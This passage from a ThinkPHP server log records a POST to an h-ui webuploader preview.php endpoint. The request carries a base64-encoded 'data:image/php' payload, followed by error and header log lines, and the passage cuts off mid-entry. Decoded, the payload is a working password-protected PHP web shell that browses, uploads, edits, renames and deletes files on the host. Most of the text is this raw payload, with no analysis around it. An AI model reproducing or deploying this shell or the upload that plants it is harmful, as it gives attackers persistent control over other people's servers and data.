'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:41+08:00 ] 116.213.36.234 POST 59.110.137.245/Public/Plugin/h-ui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002755s] [吞吐率:362.99req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 